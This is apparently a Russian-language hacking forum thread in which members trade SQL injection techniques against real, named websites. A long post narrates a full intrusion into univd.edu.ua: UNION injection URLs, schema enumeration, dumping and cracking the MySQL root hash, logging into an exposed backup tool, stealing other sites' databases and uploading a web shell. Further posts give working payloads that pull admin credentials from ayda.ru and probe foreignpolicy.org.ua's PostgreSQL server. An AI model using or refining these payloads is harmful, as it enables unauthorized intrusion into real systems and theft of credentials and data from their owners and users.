Спасибо за ответ. Статья и правда замечательная, вчера её прочитал. Из неё и понял, что моя скуля почти бесполезна В запросе не используется таблица wp_users: LOAD_FILE('/etc/passwd') - работает, можно посимвольно читать. Но LOAD_FILE('/ip/site/www/wp-config.php') - уже не работает. На сколько я понимаю, права на чтение для папки /ip/site/www/ стоят только для апача (. Буду искать дальше
и снова 3 ий мускул ,без поддержки обьединения запросов посредством UNION ,+ при запросах типа SELECT,ни подзапросов
univd.edu.ua Этот пост посвящается человеку под ником Strilo4ka. Меня просто удивила такая рьяная настойчивость в поиске, и такая безнадежная по его мнению ситуация, в более чем простом деле. Есть SQL инъект, и первым делом смотрим версию БД MySQL, за это отвечает функция version(). Т.к. выводимые поля у нас 1, 2 и 3 значит выполняем запрос: Code: http://www.univd.edu.ua/document/index.php?id_doc=414+and+1=4+union+select+version(),2,3,4,5+--+ На выводе мы получаем строку 5.0.67-log, а это значит, что в отличии от версий >= 4.x есть преимущество такое как БД information_schema и таблицы в ней tables и columns, по средствам которых можно получить полное представление о структуре БД. Самое, на мой взгляд, оптимальное решение, вывести структуры БД в виде таблица:колонка, это можно сделать обратившись к таблице columns и её колонкам table_name и column_name. Запрос будет выглядеть следующем образом: Code: http://www.univd.edu.ua/document/index.php?id_doc=414+and+1=4+union+select+concat_ws(0x3a,table_name,column_name),2,3,4,5+from+information_schema.columns+--+ Но так как скрипт выводит всего лишь одну строку из БД, то мы получаем имя таблицы CHARACTER_SETS и имя колонки CHARACTER_SET_NAME. Для того, что бы нам посмотреть все имена существующих таблиц и колонок, нам необходимо воспользоваться оператор LIMIT. Синтаксис оператора выгладит следующим образом: LIMIT 10, 1; Данное выражение вернет одну строку, начиная с десятой. А значит используя этот оператор наш запрос будет выглядеть следующим образом: Code: http://www.univd.edu.ua/document/index.php?id_doc=414+and+1=4+union+select+concat_ws(0x3a,table_name,column_name),2,3,4,5+from+information_schema.columns+limit+200,1+--+ Т.е. мы вывели 200-ую строку таблицы columns, результат которой: wp_comments:comment_content Проще говоря, нужно просто перебрать все записи таблицы columns с первой по последнюю, если не охота возится руками, есть специализированный софт, который делает это всё в автоматическом режиме. Так же можно проверить права пользователя обратившись к БД mysql и таблице user. Чаще, доступ к этой таблице естественно закрыт, из-за безопасности пользователей. Но в нашем случае, это не так И мы смело можем посмотреть имя и пароль (в зашифрованном виде) пользователей БД MySQL. Пароль шифруется обычно алгоритмом либо mysql, либо mysql5. В нашем случае, пароль зашифрован именно алгоритмом mysql. Имя логин root (главного пользователя) и пароль (хеш которого мы подобрали на онлайн сервисе hashcracking.info), мы можешь уже что-нибудь сделать. Попробуем найти непосредственно доступ к БД, через PhpMyAdmin, т.к. чаще всего (чаще всегда ) используется именно она. Попробуем просканировать сайт, на открытые директории через онлайн сервис security-digger.org. Досадно но PhpMyAdmin сервис нам так и не показал. В отчаянии, я посмотрел robots.txt, и к удивлению увидел Disallow: /dumper/, в которой дивным образом располагается Sypex Dumper Lite 1.0.8. Эта утилита для легкого и удобного бэкапа БД. Недолго думая вводим уже известный нам пароль пользователя root. Теперь мы имеем возможность сделать и скачать бэкап любой БД на этом сервере. Смотрим, что у нас есть: Code: information_schema banner deal dlinux dpforum ecom forum foto helur_danneo human hybrid l2jdb linux linuxkhua mysql shop site swinger test tz univd wolf Не найдя ничего интересного в базе univd и тем более не зная названия директории администраторской панели, я, немного подумав начинаю просматривать содержимое других БД. И почему-то приглянулась мне почему-то база linuxkhua, а именно приглянулась своим оканчанием ua, т.е. понятно, что это национальный украинский домен Не долго подумав, вбиваю в гугле linuxkhua, и как результат получаю это: Code: [U][B]Свободное ПО для свободных людей @ linux.kh.ua - Каталог сайтов ...[/B][/U] Опечатки: Ѻ Зз Ð , linuxkhua. SEO: Яндекс ТИЦ: 9100, Google PR: 0. Анализ сайта: Alexa traffic Старницы сайта linux.kh.ua в индексе Google.com ... [B]www.spravka.co.ua/10721-linux.kh.ua - Похожие[/B] Ну и ясно стало, что сайт linux.kh.ua и база linuxkhua - это единое целое Дальше, первым делом, смотрим robots.txt и узнаем название директории администраторской панели: linux.kh.ua/apanel/ Достаем из бэкапа что мы слили средствами Sypex Dumper, логин и пароль пользователя, заходим и видим вкладочку "Файл браузер" и жмем кнопочку "Залить шелл". Заходим на шелл и попадаем на сервер, на котором хостится univd.edu.ua. Так как цель у нас была непосредственно только этот сайт, то прав на него нам хватает /home/snake/univd/univd/ drwxrwxrwx Если же нужны какие-то другие манипуляции, то и здесь все хорошо, т.к. ядро бажное: Code: uname -a: Linux web 2.6.15.6 #3 PREEMPT Thu May 25 16:08:10 EEST 2006 i686 Но к сожалению SSH порт закрыт Но намеченная цель, достигнута. Уважаемый пользователь Strilo4ka, все действия указанные выше, не требуют никаких специфических знание, включаем логику и всё становится предельно ясным Успехов! В этом посте я не указывал имена таблиц в которых лежат конфиденциальные данные, такие как логины и пароли, так же скрыл сами пароли. Но получить эти данные не составляют никаких проблем. Ссылки на шелл и сбрученные пароли, не высылаю. Все предельно просто.
Code: возможно ли провести инъекцию в этом случае: "SELECT page_id,page_title FROM page WHERE page_id='{INJ}' "; "SELECT column1,column2,column3,column4,column5,column6,co lumn7 FROM table_xz WHERE page_id='{INJ}' ORDER BY date desc, id desc "; update : сперва глянул на локалхосте : 1) ?page_id=1+and+1=1 2) ?page_id=1+and+1=2 (ответ тот же что и в первом) вот по этому так и решил.
Почему же? Можно провести, если конечно нет фильтрации. Если не будет вывода, то можно создать условие, при котором подбирать символы посимвольно, и если символ соответствует нужному, то возвращать верное значение page_id, если не верное, то возвращать заведомо неверное значение.
если нет никаких "особых условий", то иньекция будет обычная, тоесть с нормальным выводом. Всё зависит от скрипта
Смотрите, есть табла админа с паролькой Code: http://www.ayda.ru/hotels/show_country.php?id=-11%20union%20select%201,2,3,login,5,psw,7,8,9,10,11,12,13,14,15,16,17%20FROM%20mkj_admin есть админка http://www.ayda.ru/z_admin Вопрос, почему я не могу попасть в админку? блин, и так везде
eliteload -1 union select 1,2/* либо -1 union select 1,2,3,4,5,6,7/* Вывод не зависит запроса к базе. Вывод это скрипт, т.к. скрипта не вижу, не знаю где будет вывод. Опять-же повторюсь. это если в скрипте нет никаких заморочек типо die() при нулевом результате выборки и т.д. ну и я не понял, ты там ' ' для обрамления поставил, или они в коде есть, если в коде то -1' union select 1,2/* либо -1' union select 1,2,3,4,5,6,7/*
"SELECT page_id,page_title FROM page WHERE page_id='{INJ} '"; сегодня тестил , у меня немного другой запрос ,но это сути не меняет: Code: $id=stripslashes($_GET['newsid']); $news = mysql_query("select * from `news` where id ='$id'") or die(mysql_error()); (в таблице `news` - 6 полей), думаю тут все понятно,+вклеил mysql_error(); послушать что мускул глаголит. при манипулировании с разными вариантами запроса ,подошел : Code: ?newsid=-1'+union+select+1,2,3,4,5,6/* с комментарием /* , другие : #,--, - не катят,голову сломал ,но хз почему (пробавал однострочный запрос , результат - тот же) то есть так как описал jokester:
L I G A Всё это уже тестилось и обсуждалось, читайте маны, и не придётся по 100 раз одно и то-же пробовать https://forum.antichat.ru/showpost.php?p=1047515&postcount=72 и пару постов вниз обсуждение
L I G A, весомую роль играет еще работа скрипта, потому-как неизвестно, что и как фильтруется, и как обработанный запрос к БД, обрабатывает сам скрипт.
Драсте есть такая штука http://www.foreignpolicy.org.ua/view2.php?id=28768 если ставлю кавычку то пишет "ОШИБКА: невозможно отобразить выбраную новость" Если делаю вот так http://www.foreignpolicy.org.ua/view2.php?id=28769-1 то отобразицца моя новость. Вот беру дальше http://www.foreignpolicy.org.ua/view2.php?id=28768+ORDER+BY+9 и уже узнаю что у меня 9 полей Но почему вот такой запрос приводит к ошибке http://www.foreignpolicy.org.ua/view2.php?id=28768+UNION+SELECT+1,2,3,4,5,6,7,8,9
Потому что тут PostgreSQL http://www.foreignpolicy.org.ua/view2.php?id=-28768+union+select+null,version(),null,null,null,null,null,null,null-- PostgreSQL 8.2.13 on i386-portbld-freebsd6.3, compiled by GCC cc (GCC) 3.4.6 [FreeBSD] 20060305 PS Там даже у юзера права usesuper